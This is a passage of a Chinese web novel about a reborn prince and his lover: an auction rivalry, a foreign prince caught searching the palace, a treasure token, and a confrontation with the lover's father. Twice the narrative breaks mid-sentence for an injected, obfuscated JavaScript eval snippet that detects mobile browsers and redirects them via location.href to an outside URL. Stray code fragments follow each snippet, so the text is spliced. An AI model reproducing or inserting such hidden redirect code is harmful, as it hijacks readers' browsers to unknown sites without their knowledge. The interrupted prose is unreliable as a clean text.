景煦一顿,见宓安说得如此理所当然,又想起那日他说“创立朝青本就是为了你”,前世围剿朝青的愧疚卷土重来,还没待他说什么,宓安却笑道:“行了,不用愧疚了。前世我只是让朝青断了一些动静大来钱快的生意,其他铺子没影响的。” 二人本来面对面坐着,景煦起身坐到了宓安身边,将人揽进了怀里,沉声道:“对不起。” 宓安摇摇头,抬手捏了捏他的脸:“喝我那么多酒时可没见你这般客气。” 景煦一歪身子靠在宓安身上,情绪有些低落:“总觉得对你还不够好。” 宓安点点头:“你知道就好,别忘了把国库钥匙给我。” 景煦被逗笑,偏头亲了他一口,继续赖在人身上占便宜了。 许是因为前世宓安很少他好脸色,重生后的景煦变得格外粘人,宓安没回应的时候就总忍不住动手动脚,现在两心相悦,就更肆无忌惮了。 宓安也总觉得对他心有愧疚,便也总是迁就他一些。 那边拍卖已经开始,宓安想要的暗器排在后面,其他东西在他看来平平无奇,没什么兴致。 只是景煦倒是看上了一条天蚕丝布料,宓安闭着眼都知道这人肯定想买来给自己做衣裳,当场拒绝道:“我不爱穿这种料子。” 景煦只好遗憾放弃。 宓安看着他这段时间都没换过的墨玉发簪,语气真诚:“以后穿其他颜色的衣裳就不要戴这支玉簪了,好吗?” 景煦托着腮看他:“那你再送我个别的颜色的。” 宓安推开他,往楼下看了一眼,正巧被拍卖台上的黄玉吸引了目光:“你看那块玉。” 景煦顺着他的眼睛看去,那块黄玉颜色并不均匀,但深深浅浅的朱柿橙黄交错,像极了落日余晖。 宓安将牌子挂了出去,对景煦道:“配你那件衣裳很合适。” 景煦笑道:“这么大一块玉石,就打支簪子?” 宓安也托起腮,盯着拍卖台,说道:“其实做朝青令牌的那块玉石也很配你那件衣裳,只是令牌已经刻了字,空的地方不够改簪子了。” 景煦有些哭笑不得:“这么重要的东西你还想打簪子?” “反正有两块嘛。”宓安摆摆手,“不许打岔,快点叫价。” 景煦只好又坐回宓安对面,扬声道:“二百两。” 能包雅间的人非富即贵,一楼众人都识相的不再叫价,东家正要将玉石包起来,却见景煦对面的雅间也挂出了牌子,一个年轻的男声响起:“五百两。” 宓安耳尖一动,看向那间屋子,道:“一千两。” 景煦一愣:“这玉只是颜色少见,质地不算上乘,阿宓要是喜欢……” 那个声音打断了景煦的话:“一千五百两。” 宓安面无表情:“两千两。” 景煦:“?” “三千两。” “五千两。” 宓安喝了口茶,看了景煦一眼:“你方才说什么?” 景煦摇摇头:“阿宓喜欢就买,咱们有的是钱。” 宓安但笑不语,那边已经加到了六千两,台下一片惊呼,宓安语气无波地继续道:“两万两。” “嚯!”楼下顿时像炸开了锅,纷纷抬头望向宓安的雅间,但房间只微微开了些窗,众人只能隐约看见一抹衣角。 景煦又看了一眼那块玉石,难道这玉有什么他不知道的珍贵之处? “两万五千两。” 宓安波澜不惊,放下茶杯:“五万两。” 这下不仅楼下的人震惊不已,议论声更加吵闹,就连那间雅间里都沉默了良久,东家试探地问道:“一号雅间出价五万两,七号雅间可还要继续加价?” “五万五千两。” 东家和楼下众人齐齐望向宓安的方向。 却见窗内伸出一只手,将牌子收了回去,顺手又将窗户关了个严实,带着笑的清朗声音传出:“阁下财力惊人,我就不夺人所爱了。” 众人又望向了七号雅间,那人似乎才意识到自己被耍了,半天没有动静,东家包好了玉石送上楼去,一个身穿灰色衣袍的男人开了门,脸色阴沉得快滴出水,东家将玉石交给他,连忙跑下了楼。 宓安却心情不错地又倒了杯茶,笑着评价道:“难喝。” 景煦笑了起来:“从前怎么不知阿宓如此调皮。” 宓安眨眨眼,抬手叫了暗卫进来:“小七,你和小九盯着那边,散场后把玉石抢过来。” 影七有些犹豫,暗卫虽然个个手上都沾着血,但这样的缺德事却从未干过,于是他看向了景煦,想问正头主子的意思,却见他的正头主子正一脸笑意地盯着宓安,见他看过来,还奇怪道:“怎么,青疏使唤不动你?” 影七一时无言,只好领命离去了。 “阿宓认识那边的人?” 宓安垂下眼眸:“我认得他的声音。” “嗯?”景煦好奇起来,“是谁?” 宓安道:“姑师、北夷、南羌之外,还有一个向来安分,但兵力不弱的小国。” 景煦道:“西岐?” 宓安恍然大悟:“原来叫西岐。” 景煦好笑道:“他是西岐人?” “是西岐的王子,乌南什,你登基后他来朝见过。” “那阿宓为何讨厌他?” 宓安握紧了杯子,隔了十年的告状如今才到:“他调戏我。” 景煦正在吹茶叶,闻言缓缓抬头,语气危险:“什么?” 宓安道:“前世在宫中碰见过,那厮对我出言不逊,被我下了点药。” 景煦握住宓安的手,有些委屈:“当时为何不告诉我?” 宓安见他心情低落,摸了摸他的手,安抚道:“那时怕你冲动,他国王子死在京中,对你不利。” “我向来不怕这些,你知道的。”景煦轻吻一下宓安的手,打开了雅间的窗,向乌南什的窗口望去,“你应当和我说的。” 老子剐了他。 宓安无奈道:“你是不是正计划着暗杀他呢?” 景煦回过神,笑道:“哪有。” “他无故出现在京中,很可疑,你别冲动。” “哦。”景煦把脸凑过去,“那你哄哄我。” 宓安避开他,凶道:“别在外面胡闹。” “那我回家闹。”景煦能屈能伸,很好说话,“阿宓看那个镯子,和你那个好像。” 宓安看过去,点头道:“这就是我那个。” 见宓安将牌子挂了出去,景煦问道:“不是说不好用?” “但好看。”宓安又扫了一眼乌南什的雅间,笑道,“回头我要照这个再打个银的。” 七号雅间似乎被宓安坑完了所有银子,这次倒没和他抬杠,宓安五百两就拍了下来。 拿着镯子,宓安心情不错地和景煦回了昭王府,那块玉石已经放在了景煦的书房中,宓安往玉石上画了几条线,连夜让人送进宫雕簪子去了。 景煦笑得停不下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14648326|156564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来:“乌南什三日后进宫见老头子,让工匠手脚快些,我要戴那支簪子去。” 宓安说他幼稚,却也忍不住笑了起来,两个活了两辈子的人像小孩一般,一起做坏事,一起偷偷开心。 两日后景煦就拿到了玉簪,阳光下的玉石更有落日光泽,这颜色衬得景煦神采飞扬,十分靓丽。 “谁家的小公子如此俊俏。”宓安轻佻地挑起景煦的下巴,啧啧笑道,“好年轻的昭王殿下。” “怎么,原来从前是嫌我老了?”景煦咬住宓安的指尖,“这年轻的身子宓相可还满意?” 宓安推开他,红着脸凶道:“不准胡言乱语。” 翌日傍晚,景煦早早就往宫里去了,景陆的精神越发混沌,盯了他好一会儿,似乎才认出眼前是谁,道:“长昱,身子可好些了?” 景煦心道老头子真是病糊涂了,他生病已经是大半年前的事了,面上却不显,恭敬道:“回父皇,已无大碍。” 说话间,被宓安毒哑的礼部侍郎犹豫着往这边走来,先向景陆磕了个头,又对景煦行礼,他身旁的下属说道:“见过昭王殿下。周侍郎听闻宓少师医术了得,不置可否请少师为周侍郎诊诊脉?侍郎这嗓子不知是何缘故,已经半年多说不出话了。” 景煦笑得意味不明,宓安比他晚来一阵,现在正跟着宓朗回在大殿门口与同僚寒暄,景煦冲门口抬了抬下巴:“自己去问青疏。” 周修远行了一礼,小跑着去找宓安了,那边宓安听了他的来意,露出了一个和景煦九分相似的笑,看得周修远后背发毛。 “周大人请看。”宓安指着大殿外柱子下野蛮生长的狗尾草,一旁的宫人看见宓安的动作,连忙跑过去将草拔了:“少师恕罪,是奴才干活不周,大殿竟然生了杂草。” 宓安摇摇头:“我是说,周大人的病吃这草就可以了。” 周修远有些怀疑,但想起那日偷听到齐怀仁对宓安万分敬佩的话,还是接过了宫人手里的草,一旁的下属十分有眼色,赶紧问道:“请问宓少师,这草药如何煎药?” 宓安笑道:“生吃即可,个把月就能说话了。” 说完,也不管周修远满脸的不敢置信,自顾自进大殿找景煦去了。 景煦坐在自己的席位上听了半天,笑得一颤一颤的,宓安坐到他身侧,冷静道:“不许笑。” “好好好,我不笑。” 他还是满眼笑意,宓安解释道:“我可没骗人,狗尾草确实能解毒,只是生吃药效比较慢罢了。” 景煦虚心求教:“那按常理应该怎么煎药呢?” 宓安道:“按常理我都是直接给人解药的。” 景煦又笑了起来,恨不得现在就将人搂过来亲一口:“阿宓,我有没有说过,你太可爱了。” “在外面少胡言乱语。”宓安瞪他,“西岐使臣就快到了,拿出点天潢贵胄的样子来。” 景煦努力忍着笑,说道:“知道了,我很有经验的。” 宓安道:“做了这么多年皇帝,怎么如今越发不成体统了。” “我只在你面前不成体统。”景煦冲他抛了个媚眼,“你看那些大臣,怕我怕的要死,都不敢过来敬酒。” 宓安扫了一眼四周,众大臣果然都偷偷打量景煦,捏着酒杯踌躇犹豫。宓安稍稍放心,叹道:“暴君潜质暴露无遗。” 景煦点点头:“我是。” “当我夸你呢?”宓安瞥他,“不许喝酒,禁食辛辣。” “我的伤早就好了!” 宓安嗤笑一声,看向他:“北夷战场上受的伤当我不知道吗?” 景煦一愣,尴尬地喝了口茶:“你知道啊。” “你爹那病入膏肓半截身子入土的我都能治好他,你受伤我能看不出来?”宓安翻了个白眼,“更何况那天我给你把过脉。看你是小伤懒得说你,你还真装起来了。” 景煦乖乖地把酒壶推到一旁,端起茶杯讨好一笑:“我听话就是了。” 22. “盟友” 虽是小伤,但宓安这段时日一直替景煦点着药香,每日睡前也会给他端一杯药茶,本来只是自然而然心照不宣的事,偏偏景煦老毛病又犯了,一受伤就本能地先瞒着宓安,导致才对他和颜悦色没几天的宓少师又拉下了脸。 “我错了。”景煦一向认错飞快,“看在我重……轻伤未愈的份上,原谅我吧?” 宓安微笑道:“不。回去挨打吧。” 景煦笑着想再哄两句,宫人通传西岐使臣到的声音先传了过来。众人向大殿门口看去,只见为首的是个人高马大的汉子,身后跟着的人虽然没有他壮硕,但也比大部分大渊人身形宽阔。 乌南什穿着一身短打,捧着贺礼低头跟在最后,宓安与景煦对视一眼,都觉得有些好笑。 景陆坐在上位,挥手让西岐使臣免礼。西岐使臣示意身后的人将贺礼呈上,开口道:“大渊的皇帝陛下,这鸡血花只在我们西岐的土地上生长,百年难见盛放。捣碎入药可延年益寿,我们的王听闻皇帝陛下略感风寒,特地让臣下将此花带来,献与陛下。” 只是“略感风寒”,却值得西岐献上如此珍贵的药材,景陆笑着客套:“只是小病,西岐王有心了。” “陛下吉人天相,大渊又人才辈出,自然是什么病症都不用怕的。”西岐使臣话头一转,“臣下听闻贵国宓大将军的儿子于医术上颇有造诣,北夷一战,宓公子竟医好了传闻中只有‘朝青’主人才能解的奇毒。我王敬佩虎父无犬子,特命臣下向宓公子问声好。” 宓安冷笑一声,心下了然。宓朗回威名在外,各国都十分忌惮,西岐这是抱着挑拨景陆与重臣内讧的目的来的。 见景陆看向自己,宓安起身行了一礼,道:“使臣谬赞了。大渊地广物博,人才济济,没什么奇毒是只有一人能解的。” 西岐使臣状似无心地笑道:“原来如此。只是北夷那毒确实刁钻,两年前我国五王子被北夷人暗害,举国之力也没能救回小殿下。我王还以为宓公子就是神秘的朝青主人,原来是我王多心了。” 此话一出,大殿内议论声四起,这些年来,所有人对宓安的印象都是体弱多病、不堪大用,但这半年,黄河水患、惩治贪官、北夷大捷,宓安的名字早就传遍了朝堂,若这传闻中医毒双绝、势力遍布的朝青主人真是宓安,宓家可真是要凌驾于皇权之上了。 宓朗回也看向了宓安,他自然知道自己儿子天赋异禀,此事也不无可能。只是朝青的势力一直是景陆的眼中钉,即便宓安与朝青确无关系,今日之后景陆恐怕也要对宓家下手了。 宓安面不改色,扫了乌南什一眼,说道:“我虽不是朝青主人,但确实与他相识,西岐王若是想要解药,我可以代为讨要。” 景煦听着,突然涌起一股不太妙的预感,果然,宓安转头看向了他,笑得有些不怀好意:“昭王殿下,意下如何呢?” 众人齐刷刷看了过来,景煦的满目哀怨地看了宓安一眼,起身道:“西岐进献了如此宝贵的灵药,解药自然好说,宴会结束后随暗卫去拿就是。” 西岐使臣脸色不太好,问出了所有人的心声:“难道昭王殿下就是朝青的主人?” 景煦道:“正是。” 西岐使臣还不死心:“臣下听闻朝青主人名‘青安’,这个名字似乎与宓公子……” 景煦不耐烦地打断他,皱眉道:“本王与青疏自幼交好,青疏体弱,本王将他的名字带出去壮壮命格。使臣有什么高见吗?” 西岐使臣自然不敢有异议,谢恩后就回了自己的席位。 景煦培养暗卫和其他势力景陆是知情的,只是他没想到,一直对朝廷派去的人不屑一顾的朝青,竟然也是景煦麾下。他这个儿子,似乎有些过于能干了。 景煦毫不避讳地与景陆对视上,露出一个有些放肆的笑,看得景陆心里一凉。他知道景煦因先皇后的死一直与他不亲近,现在看来,怕不止“不亲近”这么简单。 景陆看着垂眸替景煦倒茶的宓安,又看向被他猜疑多年与他再无年少情分的宓朗回,轻轻叹了口气。如今再想离间景煦与宓家的关系,怕是有些难了,唯一能让宓家远离皇室的法子,只有…… 景陆的眼神落在了他另一个儿子身上,却见景烈紧紧握着酒杯,目光冒火盯着景煦,对方却像没看到一般,自顾自掰了一半点心分给宓安。 景陆觉得头更疼了。 “你觉得乌南什想干什么?” 下座的两人没心思理会景陆,小声讨论着,景煦的眼神跟宓安的手飘来飘去,心不在焉道:“入夜就知道了。乌南什脚步轻盈,是个轻功高手。” 宓安虽然自身武功不弱,但远不如景煦这样能一眼看穿他人实力,他好奇道:“和你比怎样?” “自然是我厉害。”景煦佯装不悦,“阿宓怎么能问这种话?” 宓安敷衍地哄道:“行行行你最厉害你天下第一。” 宴会还未散场,乌南什果然借口醉酒先离开了大殿,宓安与景煦对视一眼,也向景陆说自己身体不适,追了出去。 深宫远落纵横交错,宓安前世在这里生活许多年,闭着眼也认路。乌南什却是第一次来,绕来绕去果然迷了路,眼见巡逻侍卫经过,乌南什闪身躲进了旁边的屋子。 宓安在暗处看着他的动作,突然生出了一丝对自己的怀疑,他真的需要亲自跟来吗? 侍卫走远,乌南什探出头扫视了一圈,足下轻点,无声融进了夜色。 跟了一会儿,宓安发现这人虽然轻功不错,内力却只称得上一般,一路都没察觉自己被盯上了。 见他摸索着进了景煦在宫中的住处,宓安打了个手势,让暗卫不必拦着,自己则缓步走近,飞身上树,与暗卫蹲在了一处。 乌南什景煦卧房中翻找着什么,连床底下都没放过,宓安奇怪道:“景煦往这里藏东西了?” 影十三小声道:“没有呀,主子搬回昭王府,这里头都空了。” 宓安若有所思,悄无声息地落到了地上,让暗卫将灯点了起来。 周围霎那间大亮,乌南什吓了一跳,来不及躲避,被宓安撞了个正着。 宓安笑眯眯地看着他:“找什么呢?这地方我熟,帮你找找?” 乌南什低着头,语气恭敬:“小人是西岐使臣,宴席上喝多了几杯,出来透气迷了路,无意冒犯贵人。” 宓安看了他一会,看得乌南什冷汗直冒才移开目光,说道:“你的声音似乎有些耳熟,我们见过?” 乌南什微微压低了声音:“男子的声音都是差不多的,小人卑贱,不曾见过贵人。” 宓安点了点头,回到了最初的话题:“你方才找什么呢?” 乌南什:“……” 宓安见他躬身低头,嘲讽地笑了笑,前世这人对他言语轻浮时可不见如此恭敬……思及此处,宓安突然想起,前世遇到乌南什时,好像也是在这附近。 “你若不说,就只好让你见识下暗卫的逼供手段了。”宓安语气清浅地威胁着,“我还没见过在他们手下吐不出东西的。” 乌南什强作镇定,语气也带了几分威胁:“贵人说笑了,我是西岐使臣,此番朝见意外与大渊交好,贵人怎可滥用私刑。” 宓安却无所谓道:“深夜醉酒失足落水也是常事。” 影十三已经带着暗卫围住了屋子,乌南什进退两难,只好直起身子,亮出身份:“宓少师,小王是西岐三王子,乌南什。今日确实无意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14648327|156564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冒犯,还请见谅。” 宓安丝毫不见惊讶,只是淡淡道:“你是谁我并不关心,我只是问,你在找什么?” 乌南什不欲透露,宓安挥手让暗卫出去。屋内只剩下两人,宓安道:“王子殿下不必紧张,或许我真的能帮你找找呢?” 乌南什不知道宓安打的什么算盘,宓安继续道:“陛下猜疑我父亲,王子应当知晓,若能给阁下卖个人情,来日也好多条退路。” “可小王听说,昭王殿下与宓少师关系匪浅。” “那又如何?”宓安笑道,“自幼相识自然关系不错,但来日昭王登基,谁能说准他不会与如今的陛下一样,依然容不下我父亲。” 乌南什自然知道景陆对宓朗回颇有忌惮,闻言有些动摇,犹豫半晌,终于开口道:“找一件信物。” “信物?” 乌南什说道:“听闻姑师王城内有一座金山,只有那件信物能打开大门,但无人知晓那信物到底是何模样。姑师王室素来重视香料,昭王殿下又将姑师国库中所有香料都带回了宫,小王猜测昭王是察觉了什么,才来碰碰运气。” 这倒是冤枉景煦了,他将香料带回来只是因为宓安喜欢罢了,且那些被他随手丢在同一个箱子里颠簸一路不成样子的香料已经在宓安的小院中了。 “我倒是从未听他提起过姑师的金山,只是他带回来的香料被颠簸得不成样子,已经扔掉了。”宓安实话实说,听在乌南什耳朵里倒成了景煦独自拿走了信物却瞒着宓安,看来二人并不像传言中那样感情深厚,又放心了几分。 “我会找机会问他一问,若有收获……” 乌南什立刻说道:“使臣驿站,随时恭候。” 宓安点点头,撤了暗卫让乌南什离开了。 影十三听了全程,懵懵懂懂地问道:“公子,咱们要瞒着主子吗?” 宓安一顿,缓缓转头看他,不敢相信这话是怎么问出口的,影十二飞速出现,从影十三身后捂住了他的嘴,告罪道:“公子恕罪,十三年纪小……” 宓安无奈地笑了下,摆摆手让两人回去继续盯梢了。 宴席散的晚,宓安和宓朗回打了招呼,与景煦一道回了昭王府。今日之事宓安简单说了说,景煦恍然大悟:“姑师国库里只有香料,什么金银珠宝都没见到,原来藏的这么深。” 他问宓安:“那堆香料里有可疑的东西吗?” 宓安道:“全被我扔在偏房角落了,明日回去看看。” 景煦想起那日宓安让暗卫去接露水,都要按不同的花叶分瓶收集,诚恳道:“若有下次,我一定好好分类,好好带回来。” “姑师都没了,还有什么下次。” “西岐那鸡血花阿宓想不想要?”景煦一副只要宓安点头就立刻带兵攻打西岐的架势,“听说是很珍贵的药材。” 宓安摇头:“就是金灯草罢了,儿时与师父远行见过几次,不仅不能延年益寿,还有毒。” 景煦“啊”了一声,说道:“阿宓有没有什么药能吊着老头子的命但不治好他的?过了年咱们要去找蛊毒解药,他还不能死。” 宓安却道:“我自己去也可以。” 景煦点点头,自说自话:“有这种药是吧,那回头阿宓给我些,我让人送去。” 宓安哭笑不得,无奈道:“让他吃那金灯草就可以了,以毒攻毒” 景煦沉下脸色,将宓安抱坐在腿上,轻轻拍了下他的腰:“你最好不要说这些我不爱听的。” “好好好。”宓安抬手揽住他的脖子,笑意盈盈,“请昭王殿下陪我一起去,我一个人是万万不行的。” 景煦这才稍缓脸色,将人抱紧,有一搭没一搭地聊起了琐事。 23. 除夕 翌日一早,景煦又旷了早朝,踩着宓朗回去上朝的时辰与宓安一起回了将军府。 那箱香料闲置久了,味道混杂,却并不难闻,散发着一股馥郁的花香。 宓安看了一眼,奇怪道:“好像变少了。” “香料少了?” 宓安点点头,伸手将乱七八糟的木头草叶翻开,只见箱子最底下躺着一块深褐色的玉佩,乍一看与松脂无异。 “它在发热。”宓安奇怪道,“玉佩触手生温常见,从未见过能自己发热的。树脂类的香料都被它融化掉了。” “这就是那个信物了吧?”景煦看着宓安手里的东西,皱眉道,“不然送给乌南什算了,看起来脏兮兮的。” 宓安瞥他一眼:“陛下,请你尽力充实国库,来日你登基我可是要搬空的。” 重生后宓安第一次叫他陛下,景煦顿时心里一跳,不知是担忧还是难过,不由自主地握紧了宓安的手。 宓安回握住:“怎么了?” 景煦摇头,苦笑道:“你这样叫我,我有些害怕。” 宓安捏了捏他的脸,诚恳道:“是我的错,前世我不该总是故意对你用敬称气你。但现在我们已经没有任何隔阂了,你不要怕。” 朝阳映在宓安俊美无双的脸上,更添几分风情。景煦看了他良久,突然低头轻吻宓安的唇角,小声道:“不怕了。” 宓安回吻一下,笑道:“那就打起精神来,这笔金子我要定了。” “小财迷。” “昭王府的金子我也要了。”宓安将玉佩擦干净,塞给景煦,“收好,将来聘礼不够我可要跟别人跑了。” “知道了,保证十里红妆迎阿宓过门。” “……我口误,是嫁妆才对!” 宓安抽空让人去敷衍了乌南什,理所当然地将藏宝地的信物归为己有,竟难得对什么东西生出了浓烈的期待。 景煦哭笑不得:“枨衔水已经让人将卦象结果送来了,目的地就在姑师南边,开春咱们就出发,到时顺便将金山搬回来。” “唉,还要等开春呢。” 景煦道:“蛊虫冬日不活动,现在去找不到有用的东西。说起来,阿宓可会不舒服?” 宓安摇摇头:“除了那日碰到赫连修齐,蛊虫被他唤醒了一次,这么多年它都没什么动静。” “而且……”宓安搭上自己的脉,“原来体内有蛊虫,脉象是能看出来的,只是它沉寂时十分微弱。” 景煦叹了口气:“毒性蔓延只是一瞬间的事,阿宓一定要小心。” “前世你是怎么知道我中蛊的?”宓安问道,“我自己都不知道。” “还不是枨衔水说的。”景煦说起这个就生气,“整天坐牢似的把自己关在占星台,那日突然来找我说算到我有一劫,这劫在你身上,让我别冲动,任你生死都不要插手。这怎么可能?我追问了许久他才说你中了蛊,我再想问蛊怎么解,他又把自己关回去了。” 景煦两辈子都对枨衔水颇有不满:“我只能让人到处查解蛊的法门,最后只找到这么个引蛊的法子。难怪他说是我的劫,‘内力相当,心甘情愿’,这天下也就只有我能替你引蛊了。” 他对枨衔水满肚子气,宓安也对他满肚子气,没等宓安开口,景煦立刻道:“阿宓别翻旧账,你上次说吵架才翻的,现在没有吵架。” 宓安被他堵住话头,抬手给了他一拳:“迟早找机会抽你一顿。” 景煦握住宓安的拳头:“手这么凉,快回卧房去。” “最近宫里和朝青都没什么事,难得这么清闲。” “还有十几天就过年了,这当口不管有什么事我都不会管的。”景煦将宓安的手拉进大氅里,蓦然感觉鼻尖一凉。 “下雪了?”景煦抬头看去,纷纷扬扬的雪缓缓飘落,像春日的柳絮一般,满目雪白,“今年的初雪来得挺早。” 他顾着看雪,没注意身旁的宓安呼吸都要停滞了,感觉到手上越来越重的力道,景煦转头看去,宓安重重扑进了他怀里。 方才他还在安慰无法释怀的景煦,现在自己却也被勾起了心底的恐惧。 前世景煦身死那天,也是长安的初雪,也是这样鹅毛般的大雪。 “阿宓。”景煦低头贴近,“别怕,我在这里。” 景煦一手揽住宓安的腰,一手握住他的手,低头吻了下去。 唇舌相贴,景煦轻声道:“感觉到了吗,我是热乎的。” 宓安仰起头,纵容景煦对他肆意掠夺,二人呼吸交缠,化作丝丝白雾,散在空中。景煦的手抚上宓安的后颈,轻柔地摩挲着,宓安紧紧搂着他的腰,也轻声说道:“景煦……你好烫。” “暖和吗?”景煦笑着亲他,“今夜阿宓需不需要我暖床?” 宓安笑了下,凑过去还想继续亲吻,却突然听到了他爹震耳欲聋的怒吼声:“放开他!!!” 宓安浑身一震,将景煦抱得更紧,想把自己藏进他的大氅里。 宓朗回一回家就见两人抱在一起,本以为是景煦强迫宓安,还没等他阻止就见宓安自己凑了过去,现在竟然还往人怀里钻!成何体统!成何体统! 景煦立刻将宓安挡在身后,独自面对怒火冲天的老丈人:“您先冷静……” “宓青疏!给我滚过来!”宓朗回哪有精力听他解释,现在只想把这个不知廉耻的儿子打一顿。 景煦却死死护着宓安:“您打我吧,青疏身体不好……” 宓朗回怒目而视,指着景煦怒吼道:“你以为我不敢打你?你们两个我一起打!来人!来人!把我的棍子拿来!” 将军府的下人哪敢真拿棍子,对方可是昭王殿下,宓朗回正在气头上,理智全无,万一真把人打了,回头消了气岂不是还得下人遭殃。 宓安一个头两个大,心道自己真是上头了,竟忘了现在已经是宓朗回下朝的时辰,但他转念一想,那日宓朗回明明言辞间好像知道他与景煦并非单纯的友情,怎么今日会这么大的反应? “爹?”宓安从景煦身后探出头,试探道,“是不是皇上惹你生气了?” 宓朗回瞪着他:“他能惹我什么?你一个男人,搂着另一个男人讨亲?不知廉耻!我就是这样教你做人的?” 纵然是亲生父亲,宓安闻言也心梗了一瞬,紧紧抓着景煦的大氅,声音不大不小地说道:“爹,您忘了,您从未教过我如何做人。” 院子里安静得异常,仿佛只能听到雪花落下的窸窣声,宓安的声音好像也被大雪遮住了:“儿时是师父带我游历远行,后来是景煦一直与我做伴,您常年征战,我与您见面的次数屈指可数。” 宓朗回被大雪扑了一脸,听着宓安清浅的声音,渐渐冷静下来,宓安又道:“我明白我的安稳日子是您用军功换来的,我并没有指责您的意思,只是……” 他顿了顿,不自觉用力握紧了景煦的手:“‘不知廉耻’,是不是有些难听了?” “景煦与我两心相悦,我又不是他的娈宠,如何就‘不知廉耻’了?” 宓朗回看着一直躲在景煦身后的儿子,叹了口气:“是爹口不择言了,爹向你道歉。” 景煦脸色阴沉,听到“娈宠”二字从宓安嘴里说出来,更是怒气冲天,要不是看宓朗回是宓安的亲爹,他怕是已经和对方大打出手了。 宓安摇了摇头:“我知您只是气急了。” 景煦对宓朗回一向尊敬,现在也极力克制语气,但说出口的话还是十分生硬:“雪下大了,青疏怕冷,宓将军有事进屋说吧。” 这话竟是把自己当将军府的主人了,宓朗回刚说错话得罪了人,也不好计较,和二人一起进了内堂。 “宓将军,我与青疏确实是两心相悦,您是否同意也不要紧,我养他一辈子不成问题。”景煦与外人说话一向直来直往,丝毫不顾及是否得罪对方,现在正生着气,也习惯性地对宓朗回如此讲话了。 宓安戳了戳景煦的腰,被他反手握住了手指,只好又勾了勾他的手心,无奈道:“这是我爹,你注意一下。” 景煦心说是你爹又怎样,我再生气也不敢对你说重话,他凭什么 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宓安笑道:“就在家里过吧,加上王公公和暗卫,热热闹闹的。” “听青疏的。”景煦笑着说道。 宓朗回起身向外走去:“还有十几天,明日就开始准备着吧。” 儿孙自有儿孙福,宓安从小到大都不必他费心,如今更是轮不到他操心了。 - 大雪将长安城染成银白,月光下的雪晶莹剔透,伴着远处山寺的钟声回荡,景煦与宓安迎来了重生后的第一个除夕。 雪天路滑,信使傍晚时分才到,宓朗回和他聊了两句,对方竟是姑苏老乡,当即就要留人一起过年,信使推辞了几句,还要去别家送信,赶忙走了。 景煦提着灯笼经过,正听到宓朗回和信使说话,似乎是姑苏方言,他听不太懂,但一声熟悉的“萧起”传来,景煦立刻动了动耳朵。 信使走后,景煦拦住宓朗回,虚心请教:“宓将军,方才听你们说话,可是姑苏的地方话?” 宓朗回笑道:“是啊,那信使竟也是吴江人。” “敢问将军,‘萧起’是什么意思?” 宓朗回皱眉想了一会,说出了一个词,景煦立刻点头:“就是这个。” “就是‘别走’,我让那信使留下吃饭。”宓朗回摆摆手,“想学方言你找青疏去,我还得进宫给你爹拜年。” 景煦笑道:“辛苦您了,我与青疏备好饭菜等您回来。” 宓朗回进宫去了,景煦跑着去了后厨,看着挽起袖子正在忙碌的宓安,目光灼灼。 宓安动作一顿,回头看去,奇怪道:“你做什么一声不吭的?” 景煦看着他,突然笑了起来:“原来阿宓前世也是心悦我的。” 宓安早就习惯了他总是莫名其妙地自己高兴起来,无奈道:“你不是早就知道了?” “我要听阿宓亲口说。” 宓安哄小孩子似的哄道:“喜欢你,好了吧?” 景煦笑得合不拢嘴,宓安也被勾起了好奇心,问道:“发生什么事了?” 景煦道:“方才岳父在和信使交谈,那信使竟也是姑苏吴江人。” 宓安点点头:“然后呢?” “岳父思乡情切,与信使用姑苏地方话聊了几句。” 宓安:“……” “你不必说了。”宓安转身继续切菜,试图逃避这个话题。 景煦不依不饶地贴上去,笑道:“原来‘萧起’不是人名。岳父说是‘别走’的意思。原来阿宓那时竟是让我别走。” 宓安红着脸瞪他:“你很闲的话就去生火!” 景煦趁其不备凑过去亲了宓安一口,满脸笑意地生火去了。 除夕雪夜,寒梅一夜绽放,年夜饭还没出锅,宓安先招呼暗卫摘了许多梅花。 前世景煦没喝到的寒梅茶,这次总要补回来才好。 二十载恍如隔世,在这万家灯火的夜里,宓安的“家”,终于团圆了。 24. 春猎 天冷让人犯懒,宓安前些日子还总惦记着姑师的宝藏,现下也顾不上了,就连每日练功都荒废了。 景煦带着一身寒气推开了卧房门,还没说话,身后的宓朗回中气十足的声音就响了起来:“青疏!起来!” 宓安睡梦中吓了一跳,以为自己还在做梦,又往被子里缩了缩。 宓朗回眉头一皱,就要把人强拖起来,景煦连忙拦住老丈人:“我叫青疏起来,您先用早膳。” “你别太惯着他,男人家这么娇气像什么话?”宓朗回自己都没意识到他越来越把景煦当“儿婿”了,交待了两句又恨铁不成钢地瞪了宓安一眼,这才拎着刀走了。 景煦哭笑不得,说实话,宓安并不娇气,自小习武,箭术马术都没落下,该吃的苦也全都吃过,就连那些刁钻的毒药宓安都亲自试过。只是他舍不得宓安受一点罪,总要把人护得密不透风才安心。 “我爹这脾气也太差了。”宓安早就醒了盹,见宓朗回走了才敢出声,“年纪大了容易伤身,回头让暗卫摘些连翘帮他下下火。” 景煦想起那天宓安让周修远吃狗尾草,笑道:“生吃啊?” “嗯哼。”宓安翻了个身,懒懒道,“嘴里多些苦的,就少些教训我的话。” “起来用早膳了,不然岳父要杀过来了。”景煦拿来布巾替宓安擦脸,也有些无奈,“你多久没练功了?武功可不能荒废了。” 